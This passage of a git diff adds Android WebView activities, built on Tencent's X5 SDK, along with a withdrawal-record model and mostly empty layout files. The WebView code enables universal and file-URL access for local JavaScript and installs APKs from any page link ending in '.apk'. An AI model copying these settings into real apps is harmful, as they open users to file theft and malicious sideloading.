com.tencent.smtt.sdk.WebView; +import com.tencent.smtt.sdk.WebViewClient; + + + +public class WebView2Activity extends AppCompatActivity { + + private String url; + WebView webView; + ImageView show_top_v; + ImageView menu_iv; + private ImageView helpIv; + private LinearLayout showTopLy; + private FrameLayout videoContainer; + private ImageView backIv; + private ProgressBar progressBar; + private View topVvvv; + + + @Override + protected void onCreate(@Nullable Bundle savedInstanceState) { + getWindow().setNavigationBarColor(getColor(R.color.white)); + getWindow().getDecorView().setSystemUiVisibility(View.SYSTEM_UI_FLAG_FULLSCREEN | View.SYSTEM_UI_FLAG_LAYOUT_STABLE); + + super.onCreate(savedInstanceState); + View decor = getWindow().getDecorView(); + getWindow().setFlags(WindowManager.LayoutParams.FLAG_HARDWARE_ACCELERATED, WindowManager.LayoutParams.FLAG_HARDWARE_ACCELERATED); + decor.setSystemUiVisibility(View.SYSTEM_UI_FLAG_LIGHT_STATUS_BAR); + ActionBar actionBar = getSupportActionBar(); + if (actionBar != null) { + actionBar.hide(); + } + setContentView(R.layout.activity_webview); + findViewById(R.id.back_iv).setOnClickListener(view -> finish()); + url = getIntent().getStringExtra("url"); + initView(); + } + + private ValueCallback mUploadCallbackForHighApi; + + public void initView() { + topVvvv = (View) findViewById(R.id.top_vvvv); + webView = findViewById(R.id.webview); + show_top_v = findViewById(R.id.show_top_v); + showTopLy = findViewById(R.id.show_top_ly); + videoContainer = (FrameLayout) findViewById(R.id.videoContainer); + backIv = (ImageView) findViewById(R.id.back_iv); + progressBar = (ProgressBar) findViewById(R.id.progressbar); + WebSettings settings = webView.getSettings(); + settings.setDomStorageEnabled(true); + settings.setAppCacheEnabled(true); + settings.setCacheMode(WebSettings.LOAD_DEFAULT); + settings.setJavaScriptEnabled(true); + settings.setLoadWithOverviewMode(true); + // 设置允许访问文件数据 + settings.setAllowFileAccess(true); + settings.setAllowContentAccess(true); + settings.setDatabaseEnabled(true); + settings.setSavePassword(false); + settings.setSaveFormData(false); + settings.setUseWideViewPort(true); + settings.setBuiltInZoomControls(true); + settings.setPluginState(WebSettings.PluginState.ON); + settings.setLayoutAlgorithm(WebSettings.LayoutAlgorithm.NARROW_COLUMNS); + webView.setFocusable(true); + webView.setFocusableInTouchMode(true); + webView.getSettings().setSupportMultipleWindows(true); + + settings.setSupportZoom(false); + webView.setScrollBarStyle(WebView.SCROLLBARS_OUTSIDE_OVERLAY); +// webView.setHorizontalScrollbarOverlay(true); + webView.setHorizontalScrollBarEnabled(true); + webView.requestFocus(); +// webView.setBackgroundColor(getColor(R.color.black)); + settings.setJavaScriptCanOpenWindowsAutomatically(false); + settings.setMediaPlaybackRequiresUserGesture(false); + + // 设置在WebView内部是否允许通过file url加载的 Js代码读取其他的本地文件 + // Android 4.1前默认允许,4.1后默认禁止 + settings.setAllowFileAccessFromFileURLs(true); + // 设置WebView内部是否允许通过 file url 加载的 Javascript 可以访问其他的源(包括http、https等源) + // Android 4.1前默认允许,4.1后默认禁止 + settings.setAllowUniversalAccessFromFileURLs(true); + +// settings.setBuiltInZoomControls(false); // 启用缩放功能 +// settings.setDisplayZoomControls(false); // 隐藏缩放控件 + + + webView.setWebChromeClient(new WebChromeClient() { + @Override + public boolean onCreateWindow(WebView view, boolean isDialog, boolean isUserGesture, Message resultMsg) { + + WebView newWebView = new WebView(WebView2Activity.this); + topVvvv.setVisibility(View.VISIBLE); + webView.addView(newWebView); + WebView.WebViewTransport transport = (WebView.WebViewTransport) resultMsg.obj; + transport.setWebView(newWebView); + resultMsg.sendToTarget(); + + newWebView.setWebViewClient(new WebViewClient() { + @Override + public boolean shouldOverrideUrlLoading(WebView view, String url) { +// isAtGame = true; + progressBar.setVisibility(View.GONE); + webView.loadUrl(url); + return true; + } + }); + + // WebView newWebView = new WebView(view.getContext()); +// newWebView.setWebViewClient(new WebViewClient() { +// @Override +// public boolean shouldOverrideUrlLoading(WebView view, String url) { +// Intent browserIntent = new Intent(WebViewActivity.this, WebViewActivity.class); +// browserIntent.putExtra("url", url); +// startActivity(browserIntent); +// return true; +// } +// }); +// WebView.WebViewTransport transport = (WebView.WebViewTransport) resultMsg.obj; +// transport.setWebView(newWebView); +// resultMsg.sendToTarget(); +// return true; + return true; + } + + + @Override + public void onCloseWindow(WebView window) { + super.onCloseWindow(window); + } + + @Override + public boolean onConsoleMessage(ConsoleMessage consoleMessage) { + LogUtils.d("consolemessage==" + consoleMessage.message()); + return true; + } + + + @Override + public void onProgressChanged(WebView view, int newProgress) { + super.onProgressChanged(view, newProgress); + } + }); + webView.setWebViewClient(new WebViewClient() { + + + @Override + public void onPageFinished(WebView view, String url) { + super.onPageFinished(view, url); + showTopLy.setVisibility(View.GONE); + progressBar.setVisibility(View.GONE); + topVvvv.setVisibility(View.VISIBLE); + } + + @Override + public void onPageStarted(WebView view, String url, Bitmap favicon) { + super.onPageStarted(view, url, favicon); + progressBar.setVisibility(View.VISIBLE); + topVvvv.setVisibility(View.VISIBLE); + } + + @Override + public boolean shouldOverrideUrlLoading(WebView view, WebResourceRequest request) { + + Uri uri; + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.LOLLIPOP) { + uri = request.getUrl(); + } else { + uri = Uri.parse(request.toString()); + } + String url1 = uri.toString(); + LogUtils.d("url1111111111==" + url1); + if (url1.equals(url + "index") || url1.equals(url + "/index")) { + topVvvv.setVisibility(View.GONE); + } else { + progressBar.setVisibility(View.VISIBLE); + } + + if (!(url1.startsWith("http") || url1.startsWith("https"))) { + try { + Intent intent = new Intent(); + intent.setAction(Intent.ACTION_VIEW); + intent.setData(Uri.parse(url1)); + startActivity(intent); + return true; + } catch (Exception e) { + e.printStackTrace(); + } + } else { + + if ((url1.equals(url + "index") || url1.equals(url + "/index")) && webView.canGoBack()) { + return false; + } else { + if (url1.contains(".apk")) { //下载 + Toast.makeText(WebView2Activity.this, "下载开始,请稍后...", Toast.LENGTH_SHORT).show(); +// Constants.isUpdate = false; + new AppUpdater(WebView2Activity.this, url1).start(); + return false; + } + //其它的该怎么处理就怎么处理 + LogUtils.d("url1111111111==2" + url1); + webView.loadUrl(url1); + return true; + } + + } + return false; + } + + + @Override + public boolean shouldOverrideUrlLoading(WebView view, String url1) { + if (url1.equals(url + "index") || url1.equals(url + "/index")) { + topVvvv.setVisibility(View.GONE); + } else { + progressBar.setVisibility(View.VISIBLE); + } + + if (!(url1.startsWith("http") || url1.startsWith("https"))) { + try { + Intent intent = new Intent(); + intent.setAction(Intent.ACTION_VIEW); + intent.setData(Uri.parse(url1)); + startActivity(intent); + return true; + } catch (Exception e) { + e.printStackTrace(); + } + } else { + + if ((url1.equals(url + "index") || url1.equals(url + "/index")) && webView.canGoBack()) { + return false; + } else { + if (url1.contains(".apk")) { //下载 + new AppUpdater(WebView2Activity.this, url1).start(); + return false; + } + //其它的该怎么处理就怎么处理 + webView.loadUrl(url1); + return false; + } + + } + + return false; + } + + + }); + + +// webView.setOnTouchListener(new View.OnTouchListener() { +// @Override +// public boolean onTouch(View view, MotionEvent motionEvent) { +// if (motionEvent.getAction() == MotionEvent.ACTION_DOWN) { +// webView.loadUrl("javascript:_IntervalResize(+\" + view + \",false)"); +// return true; +// } else { +// return false; +// } +// } +// }); + +// webView.onWindowFocusChanged(true); +// webView.setOnFocusChangeListener(new View.OnFocusChangeListener() { +// @Override +// public void onFocusChange(View view, boolean b) { +// LogUtils.d("B==" + b); +// view.invalidate(); +// } +// }); + if (url != null) { + webView.loadUrl(url); + } + } + + + @Override + public void onBackPressed() { + if (webView.canGoBack()) {//当webview有多级能返回的时候 + webView.goBack(); + } else {//不能返回了 + WebView2Activity.this.finish(); + } + } + + @Override + protected void onDestroy() { + if (webView != null) { + //加载null内容 + // webView.loadDataWithBaseURL(null, "", "text/html", "utf-8", null); + //清除历史记录 + // webView.clearHistory(); + //移除WebView +// ((ViewGroup) webView.getParent()).removeView(webView); + //销毁VebView + webView.destroy(); + } + super.onDestroy(); + } +} diff --git a/base_sg/src/main/java/com/web/base/WebViewActivity.java b/base_sg/src/main/java/com/web/base/WebViewActivity.java new file mode 100644 index 0000000..1dde4d6 --- /dev/null +++ b/base_sg/src/main/java/com/web/base/WebViewActivity.java @@ -0,0 +1,470 @@ +package com.web.base; + + +import android.app.Activity; +import android.content.Intent; +import android.graphics.Bitmap; +import android.net.Uri; +import android.os.Build; +import android.os.Bundle; +import android.os.Message; +import android.view.MotionEvent; +import android.view.View; +import android.view.WindowManager; +import android.widget.FrameLayout; +import android.widget.ImageView; +import android.widget.LinearLayout; +import android.widget.ProgressBar; +import android.widget.TextView; +import android.widget.Toast; + +import androidx.annotation.Nullable; +import androidx.annotation.RequiresApi; +import androidx.appcompat.app.ActionBar; +import androidx.appcompat.app.AppCompatActivity; +import androidx.core.app.ActivityCompat; + +import com.king.app.updater.AppUpdater; +import com.tencent.smtt.export.external.interfaces.WebResourceError; +import com.tencent.smtt.export.external.interfaces.WebResourceRequest; +import com.tencent.smtt.sdk.ValueCallback; +import com.tencent.smtt.sdk.WebChromeClient; +import com.tencent.smtt.sdk.WebSettings; +import com.tencent.smtt.sdk.WebView; +import com.tencent.smtt.sdk.WebViewClient; + + + +public class WebViewActivity extends AppCompatActivity { + + private String url; + WebView webView; + TextView tvErrorMsg; + LinearLayout layoutError; + ImageView show_top_v; + ImageView menu_iv; + private ImageView helpIv; + private LinearLayout showTopLy; + private FrameLayout videoContainer; + private ImageView backIv; + private ProgressBar progressBar; + private View topVvvv; + + + @Override + protected void onCreate(@Nullable Bundle savedInstanceState) { + getWindow().setNavigationBarColor(getColor(R.color.white)); + getWindow().getDecorView().setSystemUiVisibility(View.SYSTEM_UI_FLAG_FULLSCREEN | View.SYSTEM_UI_FLAG_LAYOUT_STABLE); + + super.onCreate(savedInstanceState); + View decor = getWindow().getDecorView(); + getWindow().setFlags(WindowManager.LayoutParams.FLAG_HARDWARE_ACCELERATED, WindowManager.LayoutParams.FLAG_HARDWARE_ACCELERATED); + decor.setSystemUiVisibility(View.SYSTEM_UI_FLAG_LIGHT_STATUS_BAR); + ActionBar actionBar = getSupportActionBar(); + if (actionBar != null) { + actionBar.hide(); + } + setContentView(R.layout.activity_main2); + findViewById(R.id.back_iv).setOnClickListener(view -> finish()); + url = getIntent().getStringExtra("url"); + initView(); + } + + private ValueCallback mUploadCallbackForHighApi; + + public void initView() { + topVvvv = (View) findViewById(R.id.top_vvvv); + webView = findViewById(R.id.webview); + show_top_v = findViewById(R.id.show_top_v); + showTopLy = findViewById(R.id.show_top_ly); + tvErrorMsg = findViewById(R.id.errormsg); + layoutError = findViewById(R.id.layoutError); + videoContainer = (FrameLayout) findViewById(R.id.videoContainer); + backIv = (ImageView) findViewById(R.id.back_iv); + progressBar = (ProgressBar) findViewById(R.id.progressbar); + WebSettings settings = webView.getSettings(); + settings.setDomStorageEnabled(true); + settings.setAppCacheEnabled(true); + settings.setCacheMode(WebSettings.LOAD_DEFAULT); + settings.setJavaScriptEnabled(true); + settings.setLoadWithOverviewMode(true); + // 设置允许访问文件数据 + settings.setAllowFileAccess(true); + settings.setAllowContentAccess(true); + settings.setDatabaseEnabled(true); + settings.setSavePassword(false); + settings.setSaveFormData(false); + settings.setUseWideViewPort(true); + settings.setBuiltInZoomControls(true); + settings.setPluginState(WebSettings.PluginState.ON); + settings.setLayoutAlgorithm(WebSettings.LayoutAlgorithm.NARROW_COLUMNS); + webView.setFocusable(true); + webView.setFocusableInTouchMode(true); + webView.getSettings().setSupportMultipleWindows(true); + + settings.setSupportZoom(false); + webView.setScrollBarStyle(WebView.SCROLLBARS_OUTSIDE_OVERLAY); +// webView.setHorizontalScrollbarOverlay(true); + webView.setHorizontalScrollBarEnabled(true); + webView.requestFocus(); +// webView.setBackgroundColor(getColor(R.color.black)); + settings.setJavaScriptCanOpenWindowsAutomatically(false); + + // 设置在WebView内部是否允许通过file url加载的 Js代码读取其他的本地文件 + // Android 4.1前默认允许,4.1后默认禁止 + settings.setAllowFileAccessFromFileURLs(true); + // 设置WebView内部是否允许通过 file url 加载的 Javascript 可以访问其他的源(包括http、https等源) + // Android 4.1前默认允许,4.1后默认禁止 + settings.setAllowUniversalAccessFromFileURLs(true); + +// settings.setBuiltInZoomControls(false); // 启用缩放功能 +// settings.setDisplayZoomControls(false); // 隐藏缩放控件 + + + webView.setWebChromeClient(new WebChromeClient() { + @Override + public boolean onCreateWindow(WebView view, boolean isDialog, boolean isUserGesture, Message resultMsg) { + + WebView newWebView = new WebView(WebViewActivity.this); + topVvvv.setVisibility(View.VISIBLE); + webView.addView(newWebView); + WebView.WebViewTransport transport = (WebView.WebViewTransport) resultMsg.obj; + transport.setWebView(newWebView); + resultMsg.sendToTarget(); + + newWebView.setWebViewClient(new WebViewClient() { + @Override + public boolean shouldOverrideUrlLoading(WebView view, String url) { +// isAtGame = true; + progressBar.setVisibility(View.GONE); + webView.loadUrl(url); + return true; + } + }); + + // WebView newWebView = new WebView(view.getContext()); +// newWebView.setWebViewClient(new WebViewClient() { +// @Override +// public boolean shouldOverrideUrlLoading(WebView view, String url) { +// Intent browserIntent = new Intent(WebViewActivity.this, WebViewActivity.class); +// browserIntent.putExtra("url", url); +// startActivity(browserIntent); +// return true; +// } +// }); +// WebView.WebViewTransport transport = (WebView.WebViewTransport) resultMsg.obj; +// transport.setWebView(newWebView); +// resultMsg.sendToTarget(); +// return true; + return true; + } + + + // @TargetApi(Build.VERSION_CODES.LOLLIPOP) + @Override + public boolean onShowFileChooser(WebView webView, ValueCallback filePathCallback, FileChooserParams fileChooserParams) { + LogUtils.i("数据接口:onShowFileChooser"); +// verifyStoragePermissions(WebViewActivity.this); + + mUploadCallbackForHighApi = filePathCallback; + Intent intent = fileChooserParams.createIntent(); +// Intent intent = new Intent(Intent.ACTION_GET_CONTENT); + + intent.addCategory(Intent.CATEGORY_OPENABLE); + startActivityForResult(Intent.createChooser(intent, "File chooser"), REQUEST_CODE_FILE_CHOOSER); + return true; + } + + // For 3.0+ + protected void openFileChooser(ValueCallback uploadMsg, String acceptType) { + LogUtils.i("数据接口:openFileChooseracceptType"); + openFilerChooser(uploadMsg); + } + + + private void openFilerChooser(ValueCallback uploadMsg) { + LogUtils.i("数据接口:openFileChooser"); + mUploadCallbackForLowApi = uploadMsg; + startActivityForResult(Intent.createChooser(getFilerChooserIntent(), "File Chooser"), REQUEST_CODE_FILE_CHOOSER); + } + + + + }); + webView.setWebViewClient(new WebViewClient() { + + + @Override + public void onPageFinished(WebView view, String url) { + super.onPageFinished(view, url); + showTopLy.setVisibility(View.GONE); + progressBar.setVisibility(View.GONE); + topVvvv.setVisibility(View.VISIBLE); + + } + + @Override + public void onPageStarted(WebView view, String url, Bitmap favicon) { + super.onPageStarted(view, url, favicon); + progressBar.setVisibility(View.VISIBLE); + topVvvv.setVisibility(View.VISIBLE); + } + + @Override + public void onReceivedError(WebView view, WebResourceRequest request, WebResourceError error) { + super.onReceivedError(view, request, error); + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.M) { + int errorCode = error.getErrorCode(); + String errorMessage = error.getDescription().toString(); + String currentUrl = request.getUrl().toString(); + LogUtils.d("onReceivedError2 url==" + url + " errorCode ==" + errorCode); + if ((errorCode == -2 || errorCode == -6) && currentUrl.contains(url)) { + onShowErrorView(errorMessage); + } else { + onShowNetView(); + } + } + progressBar.setVisibility(View.GONE); + } + + @Override + public void onReceivedError(WebView view, int errorCode, String description, String failingUrl) { + super.onReceivedError(view, errorCode, description, failingUrl); + if (Build.VERSION.SDK_INT < Build.VERSION_CODES.M) { + LogUtils.d("onReceivedError2 url==" + failingUrl + " errorCode ==" + errorCode); + if ((errorCode == -2 || errorCode == -6) && failingUrl.contains(url)) { + onShowErrorView(description); + } else { + onShowNetView(); + } + } + progressBar.setVisibility(View.GONE); + + } + + + @Override + public boolean shouldOverrideUrlLoading(WebView view, WebResourceRequest request) { + + Uri uri; + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.LOLLIPOP) { + uri = request.getUrl(); + } else { + uri = Uri.parse(request.toString()); + } + String url1 = uri.toString(); + LogUtils.d("url1111111111==" + url1); + if (url1.equals(url + "index") || url1.equals(url + "/index")) { + topVvvv.setVisibility(View.GONE); + } else { + progressBar.setVisibility(View.VISIBLE); + } + + if (!(url1.startsWith("http") || url1.startsWith("https"))) { + try { + Intent intent = new Intent(); + intent.setAction(Intent.ACTION_VIEW); + intent.setData(Uri.parse(url1)); + startActivity(intent); + return true; + } catch (Exception e) { + e.printStackTrace(); + } + } else { + + if ((url1.equals(url + "index") || url1.equals(url + "/index")) && webView.canGoBack()) { + return false; + } else { + if (url1.contains(".apk")) { //下载 + Toast.makeText(WebViewActivity.this, "下载开始,请稍后...", Toast.LENGTH_SHORT).show(); +// Constants.isUpdate = false; + new AppUpdater(WebViewActivity.this, url1).start(); + return false; + } + //其它的该怎么处理就怎么处理 + LogUtils.d("url1111111111==2" + url1); + webView.loadUrl(url1); + return true; + } + + } + return false; + } + + + @Override + public boolean shouldOverrideUrlLoading(WebView view, String url1) { + if (url1.equals(url + "index") || url1.equals(url + "/index")) { + topVvvv.setVisibility(View.GONE); + } else { + progressBar.setVisibility(View.VISIBLE); + } + + if (!(url1.startsWith("http") || url1.startsWith("https"))) { + try { + Intent intent = new Intent(); + intent.setAction(Intent.ACTION_VIEW); + intent.setData(Uri.parse(url1)); + startActivity(intent); + return true; + } catch (Exception e) { + e.printStackTrace(); + } + } else { + + if ((url1.equals(url + "index") || url1.equals(url + "/index")) && webView.canGoBack()) { + return false; + } else { + if (url1.contains(".apk")) { //下载 + new AppUpdater(WebViewActivity.this, url1).start(); + return false; + } + //其它的该怎么处理就怎么处理 + webView.loadUrl(url1); + return false; + } + + } + + return false; + } + + + }); + webView.setOnGenericMotionListener(new View.OnGenericMotionListener() { + @Override + public boolean onGenericMotion(View view, MotionEvent motionEvent) { + return false; + } + }); + +// webView.setOnTouchListener(new View.OnTouchListener() { +// @Override +// public boolean onTouch(View view, MotionEvent motionEvent) { +// if (motionEvent.getAction() == MotionEvent.ACTION_DOWN) { +// webView.loadUrl("javascript:_IntervalResize(+\" + view + \",false)"); +// return true; +// } else { +// return false; +// } +// } +// }); + +// webView.onWindowFocusChanged(true); +// webView.setOnFocusChangeListener(new View.OnFocusChangeListener() { +// @Override +// public void onFocusChange(View view, boolean b) { +// LogUtils.d("B==" + b); +// view.invalidate(); +// } +// }); + if (url != null) { + webView.loadUrl(url); + } + } + private static final int REQUEST_EXTERNAL_STORAGE = 1; + + private static String[] PERMISSIONS_STORAGE = { + "android.permission.READ_EXTERNAL_STORAGE", + "android.permission.WRITE_EXTERNAL_STORAGE"}; + + //然后通过一个函数来申请 + public static void verifyStoragePermissions(Activity activity) { + + // 没有写的权限,去申请写的权限,会弹出对话框 + ActivityCompat.requestPermissions(activity, PERMISSIONS_STORAGE, REQUEST_EXTERNAL_STORAGE); + + } + + @RequiresApi(api = Build.VERSION_CODES.Q) + @Override + protected void onActivityResult(int requestCode, int resultCode, @Nullable Intent data) { + super.onActivityResult(requestCode, resultCode, data); + switch (requestCode) { + case REQUEST_CODE_FILE_CHOOSER: + if (resultCode == RESULT_OK || resultCode == RESULT_CANCELED) { + afterFileChooseGoing(resultCode, data); + } + break; + + + } + } + + + /** + * onActivityResult方法 + */ + + private void afterFileChooseGoing(int resultCode, Intent data) { + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.LOLLIPOP) { + if (mUploadCallbackForHighApi == null) { + return; + } + mUploadCallbackForHighApi.onReceiveValue(WebChromeClient.FileChooserParams.parseResult(resultCode, data)); + mUploadCallbackForHighApi = null; + } else { + if (mUploadCallbackForLowApi == null) { + return; + } + Uri result = data == null ? null : data.getData(); + mUploadCallbackForLowApi.onReceiveValue(result); + mUploadCallbackForLowApi = null; + } + } + + private Intent getFilerChooserIntent() { + Intent intent = new Intent(Intent.ACTION_GET_CONTENT); + intent.addCategory(Intent.CATEGORY_OPENABLE); + return intent; + } + + + private static final int REQUEST_CODE_FILE_CHOOSER = 1; + private ValueCallback mUploadCallbackForLowApi; + private boolean isNetError = false; + + public void onShowErrorView(String errorMsg) { //网络不可用的情况 + topVvvv.setVisibility(View.VISIBLE); + webView.setVisibility(View.GONE); + layoutError.setVisibility(View.VISIBLE); + tvErrorMsg.setText(errorMsg); + showTopLy.setVisibility(View.GONE); + isNetError = true; + + } + + public void onShowNetView() { + topVvvv.setVisibility(View.VISIBLE); + webView.setVisibility(View.VISIBLE); + layoutError.setVisibility(View.GONE); + showTopLy.setVisibility(View.GONE); + isNetError = false; + } + + + @Override + public void onBackPressed() { + if (webView.canGoBack()) {//当webview有多级能返回的时候 + onShowNetView(); + webView.goBack(); + } else {//不能返回了 + WebViewActivity.this.finish(); + } + } + + @Override + protected void onDestroy() { + if (webView != null) { + //加载null内容 + // webView.loadDataWithBaseURL(null, "", "text/html", "utf-8", null); + //清除历史记录 + // webView.clearHistory(); + //移除WebView +// ((ViewGroup) webView.getParent()).removeView(webView); + //销毁VebView + webView.destroy(); + } + super.onDestroy(); + } +} diff --git a/base_sg/src/main/java/com/web/base/WithDrawListInfo.java b/base_sg/src/main/java/com/web/base/WithDrawListInfo.java new file mode 100644 index 0000000..b8bd76e --- /dev/null +++ b/base_sg/src/main/java/com/web/base/WithDrawListInfo.java @@ -0,0 +1,81 @@ +package com.web.base; + +import java.io.Serializable; +import java.util.List; + +/** + * 提现记录 + */ +public class WithDrawListInfo implements Serializable { + + //邀请记录 + private int total; + private List list; + + + public int getTotal() { + return total; + } + + public void setTotal(int total) { + this.total = total; + } + + public List getList() { + return list; + } + + public void setList(List list) { + this.list = list; + } + + class WithDrawInfo{ + + private String amount; + private String balance; + private String bankName; + private String createTime; + private String name; + + public String getAmount() { + return amount; + } + + public void setAmount(String amount) { + this.amount = amount; + } + + public String getBalance() { + return balance; + } + + public void setBalance(String balance) { + this.balance = balance; + } + + public String getBankName() { + return bankName; + } + + public void setBankName(String bankName) { + this.bankName = bankName; + } + + public String getCreateTime() { + return createTime; + } + + public void setCreateTime(String createTime) { + this.createTime = createTime; + } + + public String getName() { + return name; + } + + public void setName(String name) { + this.name = name; + } + } + +} diff --git a/base_sg/src/main/res/drawable-anydpi/ic_action_back.xml b/base_sg/src/main/res/drawable-anydpi/ic_action_back.xml new file mode 100644 index 0000000..013ab07 --- /dev/null +++ b/base_sg/src/main/res/drawable-anydpi/ic_action_back.xml @@ -0,0 +1,11 @@ + + + diff --git a/base_sg/src/main/res/drawable-hdpi/ic_action_back.png b/base_sg/src/main/res/drawable-hdpi/ic_action_back.png new file mode 100644 index 0000000..1560c04 Binary files /dev/null and b/base_sg/src/main/res/drawable-hdpi/ic_action_back.png differ diff --git a/base_sg/src/main/res/drawable-mdpi/ic_action_back.png b/base_sg/src/main/res/drawable-mdpi/ic_action_back.png new file mode 100644 index 0000000..d5841d2 Binary files /dev/null and b/base_sg/src/main/res/drawable-mdpi/ic_action_back.png differ diff --git a/base_sg/src/main/res/drawable-v24/ic_launcher_foreground.xml b/base_sg/src/main/res/drawable-v24/ic_launcher_foreground.xml new file mode 100644 index 0000000..2b068d1 --- /dev/null +++ b/base_sg/src/main/res/drawable-v24/ic_launcher_foreground.xml @@ -0,0 +1,30 @@ + + + + + + + + + + + \ No newline at end of file diff --git a/base_sg/src/main/res/drawable-xhdpi/ic_action_back.png b/base_sg/src/main/res/drawable-xhdpi/ic_action_back.png new file mode 100644 index 0000000..5c14e41 Binary files /dev/null and b/base_sg/src/main/res/drawable-xhdpi/ic_action_back.png differ diff --git a/base_sg/src/main/res/drawable-xxhdpi/ic_action_back.png b/base_sg/src/main/res/drawable-xxhdpi/ic_action_back.png new file mode 100644 index 0000000..0516d08 Binary files /dev/null and b/base_sg/src/main/res/drawable-xxhdpi/ic_action_back.png differ diff --git a/base_sg/src/main/res/drawable/ic_launcher_background.xml b/base_sg/src/main/res/drawable/ic_launcher_background.xml new file mode 100644 index 0000000..07d5da9 --- /dev/null +++ b/base_sg/src/main/res/drawable/ic_launcher_background.xml @@ -0,0 +1,170 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/base_sg/src/main/res/drawable/input_bg.xml b/base_sg/src/main/res/drawable/input_bg.xml new file mode 100644 index 0000000..4e895aa --- /dev/null +++ b/base_sg/src/main/res/drawable/input_bg.xml @@ -0,0 +1,20 @@ + + + + + + + + + + + + + + + + + + diff --git a/base_sg/src/main/res/drawable/pass_word_bg.xml b/base_sg/src/main/res/drawable/pass_word_bg.xml new file mode 100644 index 0000000..2724e60 --- /dev/null +++ b/base_sg/src/main/res/drawable/pass_word_bg.xml @@ -0,0 +1,28 @@ + + + + + + + + + + + + + + + + + + diff --git a/base_sg/src/main/res/drawable/pass_word_bg1.xml b/base_sg/src/main/res/drawable/pass_word_bg1.xml new file mode 100644 index 0000000..83b8c14 --- /dev/null +++ b/base_sg/src/main/res/drawable/pass_word_bg1.xml @@ -0,0 +1,23 @@ + + + + + + \ No newline at end of file diff --git a/base_sg/src/main/res/drawable/pass_word_bg2.xml b/base_sg/src/main/res/drawable/pass_word_bg2.xml new file mode 100644 index 0000000..916d99c --- /dev/null +++ b/base_sg/src/main/res/drawable/pass_word_bg2.xml @@ -0,0 +1,23 @@ + + + + + + \ No newline at end of file diff --git a/base_sg/src/main/res/drawable/shape_btn_bg.xml b/base_sg/src/main/res/drawable/shape_btn_bg.xml new file mode 100644 index 0000000..af87a0d --- /dev/null +++ b/base_sg/src/main/res/drawable/shape_btn_bg.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/base_sg/src/main/res/drawable/shape_dialog_bg2.xml b/base_sg/src/main/res/drawable/shape_dialog_bg2.xml new file mode 100644 index 0000000..7837a42 --- /dev/null +++ b/base_sg/src/main/res/drawable/shape_dialog_bg2.xml @@ -0,0 +1,6 @@ + + + + + \ No newline at end of file diff --git a/base_sg/src/main/res/drawable/shape_dialog_bg3.xml b/base_sg/src/main/res/drawable/shape_dialog_bg3.xml new file mode 100644 index 0000000..ca0a18d --- /dev/null +++ b/base_sg/src/main/res/drawable/shape_dialog_bg3.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/base_sg/src/main/res/drawable/shape_dialog_bg_new.xml b/base_sg/src/main/res/drawable/shape_dialog_bg_new.xml new file mode 100644 index 0000000..e96d4e0 --- /dev/null +++ b/base_sg/src/main/res/drawable/shape_dialog_bg_new.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/base_sg/src/main/res/drawable/shape_notify_typebg.xml b/base_sg/src/main/res/drawable/shape_notify_typebg.xml new file mode 100644 index 0000000..3da849f --- /dev/null +++ b/base_sg/src/main/res/drawable/shape_notify_typebg.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/base_sg/src/main/res/layout/activity_main.xml b/base_sg/src/main/res/layout/activity_main.xml new file mode 100644 index 0000000..48eacca --- /dev/null +++ b/base_sg/src/main/res/layout/activity_main.xml @@ -0,0 +1,351 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/base_sg/src/main/res/layout/activity_main2.xml b/base_sg/src/main/res/layout/activity_main2.xml new file mode 100644 index 0000000..719fe5a --- /dev/null +++ b/base_sg/src/main/res/layout/activity_main2.xml @@ -0,0 +1,340 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/base_sg/src/main/res/layout/activity_main3.xml b/base_sg/src/main/res/layout/activity_main3.xml new file mode 100644 index 0000000..6385b31 --- /dev/null +++ b/base_sg/src/main/res/layout/activity_main3.xml @@ -0,0 +1,108 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/base_sg/src/main/res/layout/activity_notifydetails.xml b/base_sg/src/main/res/layout/activity_notifydetails.xml new file mode 100644 index 0000000..bf79f59 --- /dev/null +++ b/base_sg/src/main/res/layout/activity_notifydetails.xml @@ -0,0 +1,95 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/base_sg/src/main/res/layout/activity_notifylist.xml b/base_sg/src/main/res/layout/activity_notifylist.xml new file mode 100644 index 0000000..29a195b --- /dev/null +++ b/base_sg/src/main/res/layout/activity_notifylist.xml @@ -0,0 +1,43 @@ + + + + + + + + + + + + + + + + diff --git a/base_sg/src/main/res/layout/activity_start.xml b/base_sg/src/main/res/layout/activity_start.xml new file mode 100644 index 0000000..ad49056 --- /dev/null +++ b/base_sg/src/main/res/layout/activity_start.xml @@ -0,0 +1,294 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/base_sg/src/main/res/layout/activity_webview.xml b/base_sg/src/main/res/layout/activity_webview.xml new file mode 100644 index 0000000..b229360 --- /dev/null +++ b/base_sg/src/main/res/layout/activity_webview.xml @@ -0,0 +1,108 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/base_sg/src/main/res/layout/dialog_action_bankinfo.xml b/base_sg/src/main/res/layout/dialog_action_bankinfo.xml new file mode 100644 index 0000000..437c064 --- /dev/null +++ b/base_sg/src/main/res/layout/dialog_action_bankinfo.xml @@ -0,0 +1,228 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No 